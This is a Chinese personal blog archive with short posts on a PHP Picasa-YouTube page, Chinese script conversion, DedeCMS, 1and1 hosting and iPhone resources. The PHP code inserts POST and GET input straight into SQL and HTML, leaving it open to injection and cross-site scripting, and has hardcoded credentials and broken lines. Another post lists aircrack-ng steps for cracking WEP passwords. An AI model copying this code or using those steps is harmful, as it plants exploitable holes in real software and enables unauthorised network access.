Archive for the ‘其他’ Category.

简单的PHP应用,拼接Picasa和Youtube

现代人还是很幸福的啊… 从3岁小孩到百岁老人都有电脑玩… 我的一个老年人朋友最近就有一个需求,就是给Picasa的Photo Slideshow配乐。其实是很简单的事情,但是如果全盘都让老先生写iframe的代码,是不是有些残酷了呢… 所以我就做了一个小php应用给他。

程序的目标:

通过输入Picasa的slideshow地址,和youtube的地址,来自动生成一个用iframe组合好的,可以自动播放音乐的网页

程序内容文件:

1. index.html

2. save.php

3. show.php

数据库结构

CREATE TABLE IF NOT EXISTS `main` (
  `idx` INT(11) NOT NULL AUTO_INCREMENT,
  `picasa` text NOT NULL,
  `youtube` text NOT NULL,
  PRIMARY KEY (`idx`)
)

index.html文件结构:

<form action="save.php" method="post">
Picasa address :
<input name="picasa" type="text" />
Youtube address:
<input name="youtube" type="text" />
<input type="submit" value="Submit" />
</form>

非常简单的结构,两个输入框,一个提交按钮,使用post,到php

save.php文件结构:

//数据库连接信息
$username="zetadba";
$password="qwe123123";
$database="zeta";
 
//连接数据库服务器
mysql_connect("localhost",$username,$password);
 
//选择数据库
mysql_select_db($database);
 
//写一个SQL查询语句, 保存从index.html POST过来的数据到数据库
$query = "INSERT INTO main (picasa,youtube) VALUES('".$_POST["picasa"]."','".$_POST["youtube"]."')";
 
//执行SQL语句
mysql_query($query);
 
//debug mysql的错误,之前很多错误... sql那些东西都快忘光了...
echo mysql_error();
 
//查询刚刚存进去的条目的主键数值,用来给show.php来用
$query2 = "SELECT * FROM main ORDER BY idx DESC LIMIT 1";
 
//得到数值sql结果
$result2 = mysql_query($query2);
 
//得到我们想要的主键idx的值
$videoidx = mysql_result($result2, 0, "idx");
 
//关闭... sql
mysql_close();
 
将这个页面自动跳给show.php,这样我的老年朋友就可以直接拷贝走这个URL了
header('Refresh: 3; url=show.php?vv='.$videoidx);

show.php文件结构

 
//不解释了...
$username="zetadba";
$password="qwe123123";
$database="zeta";
 
mysql_connect("localhost",$username,$password);
 
mysql_select_db($database);
 
//这里是直接用的URL数值传递,所以我们GET这个vv值
$query = "SELECT * FROM main WHERE idx='".$_GET["vv"]."'";
 
$result = mysql_query($query);
 
//没写html文件头,所以写个这个当title...
echo "Picasa+Youtube";
 
$picasa = mysql_result($result, 0, "picasa");
$youtube = mysql_result($result, 0, "youtube");
 
//我们需要解析得到的youtube后面的url结构,得到video id
//比如http://www.youtube.com/watch?v=puSkP3uym5k&#038;list=FLV8tlMnzjrbiS7YLh8FAtPQ&#038;index=10&#038;feature=plpp_video
//中的puSkP3uym5k
$parsedurl = parse_url($youtube);
 
$videourlquery = $parsedurl['query'];
 
parse_str($videourlquery);
 
//经过以上的各种解析,我们最后得到了其中的v的值
$videoid = $parsedurlquery['v'];
 
//输出html结构
echo "<iframe width='99%' height='99%' border=0 src="".$picasa."" mce_src="&quot;.$picasa.&quot;"-->";
echo '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="10" height="10" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/'.$v.'?version=3&amp;hl=zh_CN&amp;autoplay=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="10" height="10" src="http://www.youtube.com/v/'.$v.'?version=3&amp;hl=zh_CN&amp;autoplay=1" allowfullscreen="true"></embed></object>';
 
echo mysql_error();
 
mysql_close();

以上!大功告成,一个小小的给老人的礼物,让他们做出这个东西,然后送给朋友,当一个小礼物!

基于Air的本地Google Analytics客户端

看着自己原来写的博客还有这么高的浏览量真是惭愧,愧对那些看我博客的朋友. 最近iOS开发功力恢复中,希望尽快恢复佛典的继续开发,不为别的,只为曾经说过.

看自己网站的浏览量是非常开心得事情,当然前题是你的网站流量还满意….

Polaris是一个非常简单的,免费的Google Analytics客户端. 基于Air代表着Mac, Windows都OK. 非常不错得界面,大家试试吧, 懒得登录google的好选择.

下载

自己的新“Mac”到手,有空继续写博客

Core i3 530

H55

4GB DDR3

Geforce 8400GS

比我原来的Macbook速度快多了,而且很多都是OOB可用。tony这个名字厉害阿,不仅仅在日本是大神…

http://tonymacx86.blogspot.com/  上可以学习到很多制作Hackintosh的内容和软件

两个简繁转换脚本

帮人做网站,结果需要简繁转换,于是在网上找了一下,找到下面两个转换脚本

GB_BIG 比较全能但是似乎性能稍差,使用方法如下:

<--!  转换按钮的代码  -->
<a id="GB_BIG">繁體</a>
 
<--!  导入脚本的代码 -->
<script type="text/javascript" src="include/javascript/GB_BIG.js"></script>
<script type="text/javascript">
var defaultEncoding = 2;    // 1: 繁體中文, 2: 简体中文
var translateDelay = 0;
var cookieDomain = "http://gzl.name";   ///修改成你的网站地址
var msgToTraditionalChinese = "繁體";
var msgToSimplifiedChinese = "简体";
var translateButtonId = "GB_BIG";
translateInitilization();
</script>

language 不支持Firefox,Chrome都没有问题,使用方法就是导入这个脚本在需要点击的位置:

<script type="text/javascript" src="include/language.js"></script>

这个脚本里面本身带了document.write的<a>,不过写错了。如果要用需要更改里面的<a>的name为id,就可以了

Backtrack4破解WEP密碼流程

哥的网混正了…不需要这些了,但是还是放在博客上好

airmon-ng ->得到接口信息

airodump-ng -> 得到附近网络节点的信息ap BSSID, ESSID, CH

airodump-ng -w wep -c 频道 –bssid MAC地址 接口名

aireplay-ng -1 0 -a MAC地址 接口名

aireplay-ng -3 -b MAC地址 接口名

aircrack-ng ~.cap -> 解码开始

去掉DedeCMS 会员中心 的 消费中心

打开 /member/templets/menu.php

删除以下字段:

    <!-- //消费管理 -->
    <div class='menuTitle mbcmoney' onclick="ShowHideMenuD('mbcmoney')"></div>
    <ul class="leftNav" id="mbcmoney">
        <li class="icon consume1"><a href="../member/operation.php">财务管理</a></li>
        <li class="icon consume"><a href="../member/buy.php">升级/充值</a></li>
    </ul>

收藏:魔兽3录像PHP解析器

曾几何时想弄一个类似Replay.net的某语言网站,但是我这人太孤单了,找不到合作伙伴阿… 算了,说正事

Warcraft III Replay Parser for PHP 是一个非常棒的w3录像文件解析器,如果你想使用服务器解析任何上传的replay文件的地图信息,比赛对手,等等等等所有的内容都是可访问的

http://w3rep.sourceforge.net/  有空看看!

w3g-julas-2.3 假使有一天那网站沉了,我这有备份!源文件的注释非常棒,大家要好好看看

慢慢肯定恢复iphone开发的话题,最近太忙太累了,身累心也累

1and1的500错误

仅防止有华人使用1and1并且和我有相同的问题的朋友。

如果你使用1and1,病情是遇到N多的500错误,那么请作一下事项:

1,确保在传输.htaccess文件的时候使用二进制数据模式

2,在.htaccess中添加以下内容

Options All -Indexes

AddType x-mapp-php5 .php

AddHandler x-mapp-php5 .php

因为1and1缺省是php4,上面要做的就是去强制使用php5
3,目前没有3…….

iPhone游戏开发新书:《iPhone Game Projects》

顺藤摸瓜总是好得,APress不仅仅出版了“酷”的iPhone工程开发。也同样出版了这本《iPhone游戏工程》肯定是一本超帅的书了,不能错过阿!

iPhoneGamesProjects-BookCover西瓜,清爽怡人,也是非常不错的选择阿!

更多该书的英文信息可以查阅APress的主页:http://apress.com/book/view/1430219688

如果对该书有兴趣,也可以去Google一下~

免费iPhone软件网

iPhone软件开发的生意越来越难作,反而成就了某些网站… …

免费iPhone软件网:freeappalert.com

简单而精品的网站介绍新近变为免费的iPhone软件,心动不如行动,看看有没有你想要的软件!